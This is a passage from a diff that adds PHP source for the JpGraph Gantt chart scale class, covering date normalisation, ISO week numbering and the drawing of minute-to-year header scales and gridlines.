+	return $this->month->iShowLabels;
+    }
+	
+    // Do we show year scale?
+    function IsDisplayYear() {
+	return $this->year->iShowLabels;
+    }
+
+    // Specify spacing (in percent of bar height) between activity bars
+    function SetVertSpacing($aSpacing) {
+	$this->iVertSpacing = $aSpacing;
+    }
+
+    // Specify scale min and max date either as timestamp or as date strings
+    // Always round to the nearest week boundary
+    function SetRange($aMin,$aMax) {
+	$this->iStartDate = $this->NormalizeDate($aMin);
+	$this->iEndDate = $this->NormalizeDate($aMax);	
+    }
+
+
+    // Adjust the start and end date so they fit to beginning/ending
+    // of the week taking the specified week start day into account.
+    function AdjustStartEndDay() {
+
+	if( !($this->IsDisplayYear() ||$this->IsDisplayMonth() || $this->IsDisplayWeek()) ) {
+	    // Don't adjust
+	    return;
+	}
+
+	// Get day in week for start and ending date (Sun==0)
+	$ds=strftime("%w",$this->iStartDate);
+	$de=strftime("%w",$this->iEndDate);	
+	
+	// We want to start on iWeekStart day. But first we subtract a week
+	// if the startdate is "behind" the day the week start at. 
+	// This way we ensure that the given start date is always included 
+	// in the range. If we don't do this the nearest correct weekday in the week 
+	// to start at might be later than the start date.
+	if( $ds < $this->iWeekStart )
+	    $d = strtotime('-7 day',$this->iStartDate);
+	else
+	    $d = $this->iStartDate;
+	$adjdate = strtotime(($this->iWeekStart-$ds).' day',$d /*$this->iStartDate*/ );
+	$this->iStartDate = $adjdate;
+	
+	// We want to end on the last day of the week
+	$preferredEndDay = ($this->iWeekStart+6)%7;
+	if( $preferredEndDay != $de ) { 
+	    // Solve equivalence eq:    $de + x ~ $preferredDay (mod 7)
+	    $adj = (7+($preferredEndDay - $de)) % 7;
+	    $adjdate = strtotime("+$adj day",$this->iEndDate);
+	    $this->iEndDate = $adjdate;	
+	}	
+    }
+
+    // Specify background for the table title area (upper left corner of the table)	
+    function SetTableTitleBackground($aColor) {
+	$this->iTableHeaderBackgroundColor = $aColor;
+    }
+
+///////////////////////////////////////
+// PRIVATE Methods
+	
+    // Determine the height of all the scale headers combined
+    function GetHeaderHeight() {
+	$img=$this->iImg;
+	$height=1;
+	if( $this->minute->iShowLabels ) {
+	    $height += $this->minute->GetFontHeight($img);
+	    $height += $this->minute->iTitleVertMargin;
+	}
+	if( $this->hour->iShowLabels ) {
+	    $height += $this->hour->GetFontHeight($img);
+	    $height += $this->hour->iTitleVertMargin;
+	}
+	if( $this->day->iShowLabels ) {
+	    $height += $this->day->GetFontHeight($img);
+	    $height += $this->day->iTitleVertMargin;
+	}
+	if( $this->week->iShowLabels ) {
+	    $height += $this->week->GetFontHeight($img);
+	    $height += $this->week->iTitleVertMargin;
+	}
+	if( $this->month->iShowLabels ) {
+	    $height += $this->month->GetFontHeight($img);
+	    $height += $this->month->iTitleVertMargin;
+	}
+	if( $this->year->iShowLabels ) {
+	    $height += $this->year->GetFontHeight($img);
+	    $height += $this->year->iTitleVertMargin;
+	}
+	return $height;
+    }
+	
+    // Get width (in pixels) for a single day
+    function GetDayWidth() {
+	return ($this->GetPlotWidth()-$this->iLabelWidth+1)/$this->GetNumberOfDays();	
+    }
+
+    // Get width (in pixels) for a single hour
+    function GetHourWidth() {
+	return $this->GetDayWidth() / 24 ;
+    }
+
+    function GetMinuteWidth() {
+	return $this->GetHourWidth() / 60 ;
+    }
+
+    // Nuber of days in a year
+    function GetNumDaysInYear($aYear) {
+	if( $this->IsLeap($aYear) )
+	    return 366;
+	else
+	    return 365;
+    }
+	
+    // Get week number 
+    function GetWeekNbr($aDate,$aSunStart=true) {
+	// We can't use the internal strftime() since it gets the weeknumber
+	// wrong since it doesn't follow ISO on all systems since this is
+	// system linrary dependent.
+	// Even worse is that this works differently if we are on a Windows
+	// or UNIX box (it even differs between UNIX boxes how strftime()
+	// is natively implemented)
+	//
+	// Credit to Nicolas Hoizey <nhoizey@phpheaven.net> for this elegant
+	// version of Week Nbr calculation. 
+
+	$day = $this->NormalizeDate($aDate);
+	if( $aSunStart )
+	    $day += 60*60*24;
+		
+	/*-------------------------------------------------------------------------
+	  According to ISO-8601 :
+	  "Week 01 of a year is per definition the first week that has the Thursday in this year,
+	  which is equivalent to the week that contains the fourth day of January.
+	  In other words, the first week of a new year is the week that has the majority of its
+	  days in the new year."
+		  
+	  Be carefull, with PHP, -3 % 7 = -3, instead of 4 !!!
+		  
+	  day of year             = date("z", $day) + 1
+	  offset to thursday      = 3 - (date("w", $day) + 6) % 7
+	  first thursday of year  = 1 + (11 - date("w", mktime(0, 0, 0, 1, 1, date("Y", $day)))) % 7
+	  week number             = (thursday's day of year - first thursday's day of year) / 7 + 1
+	  ---------------------------------------------------------------------------*/
+		 
+	$thursday = $day + 60 * 60 * 24 * (3 - (date("w", $day) + 6) % 7);              // take week's thursday
+	$week = 1 + (date("z", $thursday) - (11 - date("w", mktime(0, 0, 0, 1, 1, date("Y", $thursday)))) % 7) / 7;
+		  
+	return $week;
+    }
+	
+    // Is year a leap year?
+    function IsLeap($aYear) {
+	// Is the year a leap year?
+	//$year = 0+date("Y",$aDate);
+	if( $aYear % 4 == 0)
+	    if( !($aYear % 100 == 0) || ($aYear % 400 == 0) )
+		return true;
+	return false;
+    }
+
+    // Get current year
+    function GetYear($aDate) {
+	return 0+Date("Y",$aDate);
+    }
+	
+    // Return number of days in a year
+    function GetNumDaysInMonth($aMonth,$aYear) {
+	$days=array(31,28,31,30,31,30,31,31,30,31,30,31);
+	$daysl=array(31,29,31,30,31,30,31,31,30,31,30,31);
+	if( $this->IsLeap($aYear))
+	    return $daysl[$aMonth];
+	else
+	    return $days[$aMonth];
+    }
+	
+    // Get day in month
+    function GetMonthDayNbr($aDate) {
+	return 0+strftime("%d",$aDate);
+    }
+
+    // Get day in year
+    function GetYearDayNbr($aDate) {
+	return 0+strftime("%j",$aDate);
+    }
+	
+    // Get month number
+    function GetMonthNbr($aDate) {
+	return 0+strftime("%m",$aDate);
+    }
+	
+    // Translate a date to screen coordinates	(horizontal scale)
+    function TranslateDate($aDate) {
+	//
+	// In order to handle the problem with Daylight savings time
+	// the scale written with equal number of seconds per day beginning
+	// with the start date. This means that we "cement" the state of
+	// DST as it is in the start date. If later the scale includes the
+	// switchover date (depends on the locale) we need to adjust back
+	// if the date we try to translate has a different DST status since
+	// we would otherwise be off by one hour.
+	$aDate = $this->NormalizeDate($aDate);
+	$tmp = localtime($aDate);
+	$cloc = $tmp[8];
+	$tmp = localtime($this->iStartDate);
+	$sloc = $tmp[8];
+	$offset = 0;
+	if( $sloc != $cloc) {
+	    if( $sloc ) 
+		$offset = 3600;
+	    else
+		$offset = -3600;
+	}
+	$img=$this->iImg;		
+	return ($aDate-$this->iStartDate-$offset)/SECPERDAY*$this->GetDayWidth()+$img->left_margin+$this->iLabelWidth;;
+    }
+
+    // Get screen coordinatesz for the vertical position for a bar		
+    function TranslateVertPos($aPos) {
+	$img=$this->iImg;
+	$ph=$this->iAvailableHeight;
+	if( $aPos > $this->iVertLines ) 
+	    JpGraphError::RaiseL(6015,$aPos);
+// 'Illegal vertical position %d'
+	if( $this->iVertLayout == GANTT_EVEN ) {
+	    // Position the top bar at 1 vert spacing from the scale
+	    return round($img->top_margin + $this->iVertHeaderSize +  ($aPos+1)*$this->iVertSpacing);
+	}
+	else {
+	    // position the top bar at 1/2 a vert spacing from the scale
+	    return round($img->top_margin + $this->iVertHeaderSize  + $this->iTopPlotMargin + ($aPos+1)*$this->iVertSpacing);		
+	}
+    }
+	
+    // What is the vertical spacing?
+    function GetVertSpacing() {
+	return $this->iVertSpacing;
+    }
+					
+    // Convert a date to timestamp
+    function NormalizeDate($aDate) {
+	if( $aDate === false ) return false; 
+	if( is_string($aDate) ) {
+	    $t = strtotime($aDate);
+	    if( $t === FALSE || $t === -1 ) {
+		JpGraphError::RaiseL(6016,$aDate);
+//("Date string ($aDate) specified for Gantt activity can not be interpretated. Please make sure it is a valid time string, e.g. 2005-04-23 13:30");
+	    }
+	    return $t;
+	}
+	elseif( is_int($aDate) || is_float($aDate) )
+	    return $aDate;
+	else
+	    JpGraphError::RaiseL(6017,$aDate);
+//Unknown date format in GanttScale ($aDate).");
+    }
+
+    
+    // Convert a time string to minutes
+
+    function TimeToMinutes($aTimeString) {
+	// Split in hours and minutes
+	$pos=strpos($aTimeString,':');
+	$minint=60;
+	if( $pos === false ) {
+	    $hourint = $aTimeString;
+	    $minint = 0;
+	}
+	else {
+	    $hourint = floor(substr($aTimeString,0,$pos));
+	    $minint = floor(substr($aTimeString,$pos+1));
+	}
+	$minint += 60 * $hourint;
+	return $minint;
+    }
+
+    // Stroke the day scale (including gridlines)			
+    function StrokeMinutes($aYCoord,$getHeight=false) {
+	$img=$this->iImg;	
+	$xt=$img->left_margin+$this->iLabelWidth;
+	$yt=$aYCoord+$img->top_margin;		
+	if( $this->minute->iShowLabels ) {
+	    $img->SetFont($this->minute->iFFamily,$this->minute->iFStyle,$this->minute->iFSize);
+	    $yb = $yt + $img->GetFontHeight() + 
+		  $this->minute->iTitleVertMargin + $this->minute->iFrameWeight;
+	    if( $getHeight ) {
+		return $yb - $img->top_margin;
+	    }
+	    $xb = $img->width-$img->right_margin+1;
+	    $img->SetColor($this->minute->iBackgroundColor);
+	    $img->FilledRectangle($xt,$yt,$xb,$yb);
+
+	    $x = $xt;   
+	    $img->SetTextAlign("center");
+	    $day = date('w',$this->iStartDate);
+	    $minint = $this->minute->GetIntervall() ;
+	    
+	    if( 60 % $minint !== 0 ) { 
+                JpGraphError::RaiseL(6018,$minint);
+//'Intervall for minutes must divide the hour evenly, e.g. 1,5,10,12,15,20,30 etc You have specified an intervall of '.$minint.' minutes.');
+            } 
+
+
+	    $n = 60 / $minint;
+	    $datestamp = $this->iStartDate;
+	    $width = $this->GetHourWidth() / $n ;
+	    if( $width < 8 ) {
+		// TO small width to draw minute scale
+		JpGraphError::RaiseL(6019,$width);
+//('The available width ('.$width.') for minutes are to small for this scale to be displayed. Please use auto-sizing or increase the width of the graph.');
+	    }
+
+	    $nh = ceil(24*60 / $this->TimeToMinutes($this->hour->GetIntervall()) );
+	    $nd = $this->GetNumberOfDays();
+	    // Convert to intervall to seconds
+	    $minint *= 60;
+	    for($j=0; $j < $nd; ++$j, $day += 1, $day %= 7) {
+		for( $k=0; $k < $nh; ++$k ) {
+		    for($i=0; $i < $n ;++$i, $x+=$width, $datestamp += $minint ) {   
+			if( $day==6 || $day==0 ) {
+			
+			    $img->PushColor($this->day->iWeekendBackgroundColor);
+			    if( $this->iUsePlotWeekendBackground )
+				$img->FilledRectangle($x,$yt+$this->day->iFrameWeight,$x+$width,$img->height-$img->bottom_margin);						
+			    else
+				$img->FilledRectangle($x,$yt+$this->day->iFrameWeight,$x+$width,$yb-$this->day->iFrameWeight);
+			    $img->PopColor();
+
+			}
+
+			if( $day==0 ) 
+			    $img->SetColor($this->day->iSundayTextColor);
+			else
+			    $img->SetColor($this->day->iTextColor);
+
+			switch( $this->minute->iStyle ) {
+			    case MINUTESTYLE_CUSTOM:
+				$txt = date($this->minute->iLabelFormStr,$datestamp);
+				break;
+			    case MINUTESTYLE_MM:
+			    default:
+				// 15
+				$txt = date('i',$datestamp);
+				break;
+			}
+			$img->StrokeText(round($x+$width/2),round($yb-$this->minute->iTitleVertMargin),$txt);
+
+			// FIXME: The rounding problem needs to be solved properly ...
+			//
+			// Fix a rounding problem the wrong way ..
+			// If we also have hour scale then don't draw the firsta or last
+			// gridline since that will be overwritten by the hour scale gridline if such exists.
+			// However, due to the propagation of rounding of the 'x+=width' term in the loop
+			// this might sometimes be one pixel of so we fix this by not drawing it.
+			// The proper way to fix it would be to re-calculate the scale for each step and
+			// not using the additive term.
+			if( !(($i == $n || $i==0) && $this->hour->iShowLabels && $this->hour->grid->iShow) ) {
+			    $img->SetColor($this->minute->grid->iColor);
+			    $img->SetLineWeight($this->minute->grid->iWeight);
+			    $img->Line($x,$yt,$x,$yb);
+			    $this->minute->grid->Stroke($img,$x,$yb,$x,$img->height-$img->bottom_margin);
+			}
+		    }		
+		}	
+	    }
+	    $img->SetColor($this->minute->iFrameColor);
+	    $img->SetLineWeight($this->minute->iFrameWeight);
+	    $img->Rectangle($xt,$yt,$xb,$yb);
+	    return $yb - $img->top_margin;
+	}
+	return $aYCoord;
+    }
+
+    // Stroke the day scale (including gridlines)			
+    function StrokeHours($aYCoord,$getHeight=false) {
+	$img=$this->iImg;	
+	$xt=$img->left_margin+$this->iLabelWidth;
+	$yt=$aYCoord+$img->top_margin;		
+	if( $this->hour->iShowLabels ) {
+	    $img->SetFont($this->hour->iFFamily,$this->hour->iFStyle,$this->hour->iFSize);
+	    $yb = $yt + $img->GetFontHeight() + 
+		  $this->hour->iTitleVertMargin + $this->hour->iFrameWeight;
+	    if( $getHeight ) {
+		return $yb - $img->top_margin;
+	    }
+	    $xb = $img->width-$img->right_margin+1;
+	    $img->SetColor($this->hour->iBackgroundColor);
+	    $img->FilledRectangle($xt,$yt,$xb,$yb);
+
+	    $x = $xt;   
+	    $img->SetTextAlign("center");
+	    $tmp = $this->hour->GetIntervall() ;
+	    $minint = $this->TimeToMinutes($tmp);
+	    if( 1440 % $minint !== 0 ) { 
+                JpGraphError::RaiseL(6020,$tmp);
+//('Intervall for hours must divide the day evenly, e.g. 0:30, 1:00, 1:30, 4:00 etc. You have specified an intervall of '.$tmp);
+            } 
+
+	    $n = ceil(24*60 / $minint );
+	    $datestamp = $this->iStartDate;
+	    $day = date('w',$this->iStartDate);
+	    $doback = !$this->minute->iShowLabels;
+	    $width = $this->GetDayWidth() / $n ;
+	    for($j=0; $j < $this->GetNumberOfDays(); ++$j, $day += 1,$day %= 7) {
+		for($i=0; $i < $n ;++$i, $x+=$width) {   
+		    if( $day==6 || $day==0 ) {
+			
+			$img->PushColor($this->day->iWeekendBackgroundColor);
+			if( $this->iUsePlotWeekendBackground && $doback )
+			    $img->FilledRectangle($x,$yt+$this->day->iFrameWeight,$x+$width,$img->height-$img->bottom_margin);						
+			else
+			    $img->FilledRectangle($x,$yt+$this->day->iFrameWeight,$x+$width,$yb-$this->day->iFrameWeight);
+			$img->PopColor();
+
+		    }
+
+		    if( $day==0 ) 
+			$img->SetColor($this->day->iSundayTextColor);
+		    else
+			$img->SetColor($this->day->iTextColor);
+
+		    switch( $this->hour->iStyle ) {
+			case HOURSTYLE_HMAMPM:
+			    // 1:35pm
+			    $txt = date('g:ia',$datestamp);
+			    break;
+			case HOURSTYLE_H24:
+			    // 13
+			    $txt = date('H',$datestamp);
+			    break;
+			case HOURSTYLE_HAMPM:
+			    $txt = date('ga',$datestamp);
+			    break;
+			case HOURSTYLE_CUSTOM:
+			    $txt = date($this->hour->iLabelFormStr,$datestamp);
+			    break;
+			case HOURSTYLE_HM24:
+			default:
+			    $txt = date('H:i',$datestamp);
+			    break;
+		    }
+		    $img->StrokeText(round($x+$width/2),round($yb-$this->hour->iTitleVertMargin),$txt);
+		    $img->SetColor($this->hour->grid->iColor);
+		    $img->SetLineWeight($this->hour->grid->iWeight);
+		    $img->Line($x,$yt,$x,$yb);
+		    $this->hour->grid->Stroke($img,$x,$yb,$x,$img->height-$img->bottom_margin);
+		    //$datestamp += $minint*60
+		    $datestamp = mktime(date('H',$datestamp),date('i',$datestamp)+$minint,0,
+					date("m",$datestamp),date("d",$datestamp)+1,date("Y",$datestamp));
+		    
+		}			
+	    }
+	    $img->SetColor($this->hour->iFrameColor);
+	    $img->SetLineWeight($this->hour->iFrameWeight);
+	    $img->Rectangle($xt,$yt,$xb,$yb);
+	    return $yb - $img->top_margin;
+	}
+	return $aYCoord;
+    }
+
+
+    // Stroke the day scale (including gridlines)			
+    function StrokeDays($aYCoord,$getHeight=false) {
+	$img=$this->iImg;	
+	$daywidth=$this->GetDayWidth();
+	$xt=$img->left_margin+$this->iLabelWidth;
+	$yt=$aYCoord+$img->top_margin;		
+	if( $this->day->iShowLabels ) {
+	    $img->SetFont($this->day->iFFamily,$this->day->iFStyle,$this->day->iFSize);
+	    $yb=$yt + $img->GetFontHeight() + $this->day->iTitleVertMargin + $this->day->iFrameWeight;
+	    if( $getHeight ) {
+		return $yb - $img->top_margin;
+	    }
+	    $xb=$img->width-$img->right_margin+1;
+	    $img->SetColor($this->day->iBackgroundColor);
+	    $img->FilledRectangle($xt,$yt,$xb,$yb);
+
+	    $x = $xt;   
+	    $img->SetTextAlign("center");
+	    $day = date('w',$this->iStartDate);
+	    $datestamp = $this->iStartDate;
+	    
+	    $doback = !($this->hour->iShowLabels || $this->minute->iShowLabels);
+
+	    setlocale(LC_TIME,$this->iDateLocale->iLocale);
+	    
+	    for($i=0; $i < $this->GetNumberOfDays(); ++$i, $x+=$daywidth, $day += 1,$day %= 7) {
+		if( $day==6 || $day==0 ) {
+		    $img->SetColor($this->day->iWeekendBackgroundColor);
+		    if( $this->iUsePlotWeekendBackground && $doback)
+			$img->FilledRectangle($x,$yt+$this->day->iFrameWeight,
+					      $x+$daywidth,$img->height-$img->bottom_margin);	
+		    else
+			$img->FilledRectangle($x,$yt+$this->day->iFrameWeight,
+					      $x+$daywidth,$yb-$this->day->iFrameWeight);
+		}
+
+		$mn = strftime('%m',$datestamp);
+		if( $mn[0]=='0' ) 
+		    $mn = $mn[1];
+
+		switch( $this->day->iStyle ) {
+		    case DAYSTYLE_LONG:
+			// "Monday"
+			$txt = strftime('%A',$datestamp);
+			break;
+		    case DAYSTYLE_SHORT:
+			// "Mon"
+			$txt = strftime('%a',$datestamp);
+			break;
+		    case DAYSTYLE_SHORTDAYDATE1:
+			// "Mon 23/6"
+			$txt = strftime('%a %d/'.$mn,$datestamp);
+			break;
+		    case DAYSTYLE_SHORTDAYDATE2:
+			// "Mon 23 Jun"
+			$txt = strftime('%a %d %b',$datestamp);
+			break;
+		    case DAYSTYLE_SHORTDAYDATE3:
+			// "Mon 23 Jun 2003"
+			$txt = strftime('%a %d %b %Y',$datestamp);
+			break;
+		    case DAYSTYLE_LONGDAYDATE1:
+			// "Monday 23 Jun"
+			$txt = strftime('%A %d %b',$datestamp);
+			break;
+		    case DAYSTYLE_LONGDAYDATE2:
+			// "Monday 23 Jun 2003"
+			$txt = strftime('%A %d %b %Y',$datestamp);
+			break;
+		    case DAYSTYLE_SHORTDATE1:
+			// "23/6"
+			$txt = strftime('%d/'.$mn,$datestamp);
+			break;			
+		    case DAYSTYLE_SHORTDATE2:
+			// "23 Jun"
+			$txt = strftime('%d %b',$datestamp);
+			break;			
+		    case DAYSTYLE_SHORTDATE3:
+			// "Mon 23"
+			$txt = strftime('%a %d',$datestamp);
+			break;	
+		    case DAYSTYLE_SHORTDATE4:
+			// "23"
+			$txt = strftime('%d',$datestamp);
+			break;	
+		    case DAYSTYLE_CUSTOM:
+			// Custom format
+			$txt = strftime($this->day->iLabelFormStr,$datestamp);
+			break;	
+		    case DAYSTYLE_ONELETTER:
+		    default:
+			// "M"
+			$txt = strftime('%A',$datestamp);
+			$txt = strtoupper($txt[0]);
+			break;
+		}
+
+		if( $day==0 ) 
+		    $img->SetColor($this->day->iSundayTextColor);
+		else
+		    $img->SetColor($this->day->iTextColor);
+		$img->StrokeText(round($x+$daywidth/2+1),
+				 round($yb-$this->day->iTitleVertMargin),$txt);
+		$img->SetColor($this->day->grid->iColor);
+		$img->SetLineWeight($this->day->grid->iWeight);
+		$img->Line($x,$yt,$x,$yb);
+		$this->day->grid->Stroke($img,$x,$yb,$x,$img->height-$img->bottom_margin);
+		$datestamp = mktime(0,0,0,date("m",$datestamp),date("d",$datestamp)+1,date("Y",$datestamp));
+		//$datestamp += SECPERDAY;
+		
+	    }			
+	    $img->SetColor($this->day->iFrameColor);
+	    $img->SetLineWeight($this->day->iFrameWeight);
+	    $img->Rectangle($xt,$yt,$xb,$yb);
+	    return $yb - $img->top_margin;
+	}
+	return $aYCoord;
+    }
+	
+    // Stroke week header and grid
+    function StrokeWeeks($aYCoord,$getHeight=false) {
+	if( $this->week->iShowLabels ) {
+	    $img=$this->iImg;	
+	    $yt=$aYCoord+$img->top_margin;		
+	    $img->SetFont($this->week->iFFamily,$this->week->iFStyle,$this->week->iFSize);
+	    $yb=$yt + $img->GetFontHeight() + $this->week->iTitleVertMargin + $this->week->iFrameWeight;
+
+	    if( $getHeight ) {
+		return $yb - $img->top_margin;  
+	    }
+
+	    $xt=$img->left_margin+$this->iLabelWidth;
+	    $weekwidth=$this->GetDayWidth()*7;
+	    $wdays=$this->iDateLocale->GetDayAbb();	
+	    $xb=$img->width-$img->right_margin+1;
+	    $week = $this->iStartDate;
+	    $weeknbr=$this->GetWeekNbr($week);
+	    $img->SetColor($this->week->iBackgroundColor);
+	    $img->FilledRectangle($xt,$yt,$xb,$yb);
+	    $img->SetColor($this->week->grid->iColor);
+	    $x = $xt;
+	    if( $this->week->iStyle==WEEKSTYLE_WNBR ) {
+		$img->SetTextAlign("center");
+		$txtOffset = $weekwidth/2+1;
+	    }
+	    elseif( $this->week->iStyle==WEEKSTYLE_FIRSTDAY  || 
+		    $this->week->iStyle==WEEKSTYLE_FIRSTDAY2 ||
+		    $this->week->iStyle==WEEKSTYLE_FIRSTDAYWNBR ||
+		    $this->week->iStyle==WEEKSTYLE_FIRSTDAY2WNBR ) {
+		$img->SetTextAlign("left");
+		$txtOffset = 3;
+	    }
+	    else
+		JpGraphError::RaiseL(6021);
+//("Unknown formatting style for week.");
+				
+	    for($i=0; $i<$this->GetNumberOfDays()/7; ++$i, $x+=$weekwidth) {
+		$img->PushColor($this->week->iTextColor);
+				
+		if( $this->week->iStyle==WEEKSTYLE_WNBR )
+		    $txt = sprintf($this->week->iLabelFormStr,$weeknbr);
+		elseif( $this->week->iStyle==WEEKSTYLE_FIRSTDAY || 
+			$this->week->iStyle==WEEKSTYLE_FIRSTDAYWNBR ) 
+		    $txt = date("j/n",$week);
+		elseif( $this->week->iStyle==WEEKSTYLE_FIRSTDAY2 || 
+			$this->week->iStyle==WEEKSTYLE_FIRSTDAY2WNBR ) {
+		    $monthnbr = date("n",$week)-1;
+		    $shortmonth = $this->iDateLocale->GetShortMonthName($monthnbr);
+		    $txt = Date("j",$week)." ".$shortmonth;
+		}
+
+		if( $this->week->iStyle==WEEKSTYLE_FIRSTDAYWNBR ||
+		    $this->week->iStyle==WEEKSTYLE_FIRSTDAY2WNBR ) {
+		    $w = sprintf($this->week->iLabelFormStr,$weeknbr);
+		    $txt .= ' '.$w;
+		}
+				
+		$img->StrokeText(round($x+$txtOffset),
+				 round($yb-$this->week->iTitleVertMargin),$txt);
+				
+		$week = strtotime('+7 day',$week); 
+		$weeknbr = $this->GetWeekNbr($week);
+		$img->PopColor();	
+		$img->SetLineWeight($this->week->grid->iWeight);
+		$img->Line($x,$yt,$x,$yb);
+		$this->week->grid->Stroke($img,$x,$yb,$x,$img->height-$img->bottom_margin);
+	    }			
+	    $img->SetColor($this->week->iFrameColor);
+	    $img->SetLineWeight($this->week->iFrameWeight);
+	    $img->Rectangle($xt,$yt,$xb,$yb);
+	    return $yb-$img->top_margin;
+	}
+	return $aYCoord;
+    }	
+	
+    // Format the mont scale header string
+    function GetMonthLabel($aMonthNbr,$year) {
+	$sn = $this->iDateLocale->GetShortMonthName($aMonthNbr);
+	$ln = $this->iDateLocale->GetLongMonthName($aMonthNbr);
+	switch($this->month->iStyle) {
+	    case MONTHSTYLE_SHORTNAME:
+		$m=$sn;
+		break;
+	    case MONTHSTYLE_LONGNAME:
+		$m=$ln;
+		break;
+	    case MONTHSTYLE_SHORTNAMEYEAR2:
+		$m=$sn." '".substr("".$year,2);
+		break;
+	    case MONTHSTYLE_SHORTNAMEYEAR4:
+		$m=$sn." ".$year;
+		break;
+	    case MONTHSTYLE_LONGNAMEYEAR2:
+		$m=$ln." '".substr("".$year,2);
+		break;
+	    case MONTHSTYLE_LONGNAMEYEAR4:
+		$m=$ln." ".$year;
+		break;
+	    case MONTHSTYLE_FIRSTLETTER:
+		$m=$sn[0];
+		break;
+	}
+	return $m;
+    }
+	
+    // Stroke month scale and gridlines
+    function StrokeMonths($aYCoord,$getHeight=false) {
+	if( $this->month->iShowLabels ) {
+	    $img=$this->iImg;		
+	    $img->SetFont($this->month->iFFamily,$this->month->iFStyle,$this->month->iFSize);
+	    $yt=$aYCoord+$img->top_margin;		
+	    $yb=$yt + $img->GetFontHeight() + $this->month->iTitleVertMargin + $this->month->iFrameWeight;
+	    if( $getHeight ) {
+		return $yb - $img->top_margin;  
+	    }
+	    $monthnbr = $this->GetMonthNbr($this->iStartDate)-1; 
+	    $xt=$img->left_margin+$this->iLabelWidth;
+	    $xb=$img->width-$img->right_margin+1;
+			
+	    $img->SetColor($this->month->iBackgroundColor);
+	    $img->FilledRectangle($xt,$yt,$xb,$yb);
+
+	    $img->SetLineWeight($this->month->grid->iWeight);
+	    $img->SetColor($this->month->iTextColor);
+	    $year = 0+strftime("%Y",$this->iStartDate);
+	    $img->SetTextAlign("center");
+	    if( $this->GetMonthNbr($this->iStartDate) == $this->GetMonthNbr($this->iEndDate)  
+		&& $this->GetYear($this->iStartDate)==$this->GetYear($this->iEndDate) ) {
+	    	$monthwidth=$this->GetDayWidth()*($this->GetMonthDayNbr($this->iEndDate) - $this->GetMonthDayNbr($this->iStartDate) + 1);
+	    } 
+	    else {
+	    	$monthwidth=$this->GetDayWidth()*($this->GetNumDaysInMonth($monthnbr,$year)-$this->GetMonthDayNbr($this->iStartDate)+1);
+	    }
+	    // Is it enough space to stroke the first month?
+	    $monthName = $this->GetMonthLabel($monthnbr,$year);
+	    if( $monthwidth >= 1.2*$img->GetTextWidth($monthName) ) {
+		$img->SetColor($this->month->iTextColor);				
+		$img->StrokeText(round($xt+$monthwidth/2+1),
+				 round($yb-$this->month->iTitleVertMargin),
+				 $monthName);
+	    }
+	    $x = $xt + $monthwidth;
+	    while( $x < $xb ) {
+		$img->SetColor($this->month->grid->iColor);				
+		$img->Line($x,$yt,$x,$yb);
+		$this->month->grid->Stroke($img,$x,$yb,$x,$img->height-$img->bottom_margin);
+		$monthnbr++;
+		if( $monthnbr==12 ) {
+		    $monthnbr=0;
+		    $year++;
+		}
+		$monthName = $this->GetMonthLabel($monthnbr,$year);
+		$monthwidth=$this->GetDayWidth()*$this->GetNumDaysInMonth($monthnbr,$year);				
+		if( $x + $monthwidth < $xb )
+		    $w = $monthwidth;
+		else
+		    $w = $xb-$x;
+		if( $w >= 1.2*$img->GetTextWidth($monthName) ) {
+		    $img->SetColor($this->month->iTextColor);				
+		    $img->StrokeText(round($x+$w/2+1),
+				     round($yb-$this->month->iTitleVertMargin),$monthName);
+		}
+		$x += $monthwidth;
+	    }	
+	    $img->SetColor($this->month->iFrameColor);
+	    $img->SetLineWeight($this->month->iFrameWeight);
+	    $img->Rectangle($xt,$yt,$xb,$yb);			
+	    return $yb-$img->top_margin;
+	}
+	return $aYCoord;
+    }
+
+    // Stroke year scale and gridlines
+    function StrokeYears($aYCoord,$getHeight=false) {
+	if( $this->year->iShowLabels ) {
+	    $img=$this->iImg;	
+	    $yt=$aYCoord+$img->top_margin;		
+	    $img->SetFont($this->year->iFFamily,$this->year->iFStyle,$this->year->iFSize);
+	    $yb=$yt + $img->GetFontHeight() + $this->year->iTitleVertMargin + $this->year->iFrameWeight;
+
+	    if( $getHeight ) {
+		return $yb - $img->top_margin;  
+	    }
+
+	    $xb=$img->width-$img->right_margin+1;
+	    $xt=$img->left_margin+$this->iLabelWidth;
+	    $year = $this->GetYear($this->iStartDate); 			
+	    $img->SetColor($this->year->iBackgroundColor);
+	    $img->FilledRectangle($xt,$yt,$xb,$yb);
+	    $img->SetLineWeight($this->year->grid->iWeight);
+	    $img->SetTextAlign("center");
+	    if( $year == $this->GetYear($this->iEndDate) )
+		$yearwidth=$this->GetDayWidth()*($this->GetYearDayNbr($this->iEndDate)-$this->GetYearDayNbr($this->iStartDate)+1);
+	    else
+		$yearwidth=$this->GetDayWidth()*($this->GetNumDaysInYear($year)-$this->GetYearDayNbr($this->iStartDate)+1);
+			
+	    // The space for a year must be at least 20% bigger than the actual text 
+	    // so we allow 10% margin on each side
+	    if( $yearwidth >= 1.20*$img->GetTextWidth("".$year) ) {
+		$img->SetColor($this->year->iTextColor);				
+		$img->StrokeText(round($xt+$yearwidth/2+1),
+				 round($yb-$this->year->iTitleVertMargin),
+				 $year);
+	    }
+	    $x = $xt + $yearwidth;
+	    while( $x < $xb ) {
+		$img->SetColor($this->year->grid->iColor);				
+		$img->Line($x,$yt,$x,$yb);
+		$this->year->grid->Stroke($img,$x,$yb,$x,$img->height-$img->bottom_margin);
+		$year += 1;
+		$yearwidth=$this->GetDayWidth()*$this->GetNumDaysInYear($year);				
+		if( $x + $yearwidth < $xb )
+		    $w = $yearwidth;
+		else
+		    $w = $xb-$x;
+		if( $w >= 1.2*$img->GetTextWidth("".$year) ) {
+		    $img->SetColor($this->year->iTextColor);
+		    $img->StrokeText(round($x+$w/2+1),
+				     round($yb-$this->year->iTitleVertMargin),
+				     $year);
+		}
+		$x += $yearwidth;
+	    }
+	    $img->SetColor($this->year->iFrameColor);
+	    $img->SetLineWeight($this->year->iFrameWeight);
+	    $img->Rectangle($xt,$yt,$xb,$yb);			
+	    return $yb-$img->top_margin;
+	}
+	return $aYCoord;
+    }
+	
+    // Stroke table title (upper left corner)
+    function StrokeTableHeaders($aYBottom) {
+	$img=$this->iImg;
+	$xt=$img->left_margin;
+	$yt=$img->top_margin;
+	$xb=$xt+$this->iLabelWidth;
+	$yb=$aYBottom+$img->top_margin;
+
+	if( $this->tableTitle->iShow ) {
+	    $img->SetColor($this->iTableHeaderBackgroundColor);
+	    $img->FilledRectangle($xt,$yt,$xb,$yb);
+	    $this->tableTitle->Align("center","top");
+	    $this->tableTitle->Stroke($img,$xt+($xb-$xt)/2+1,$yt+2);		
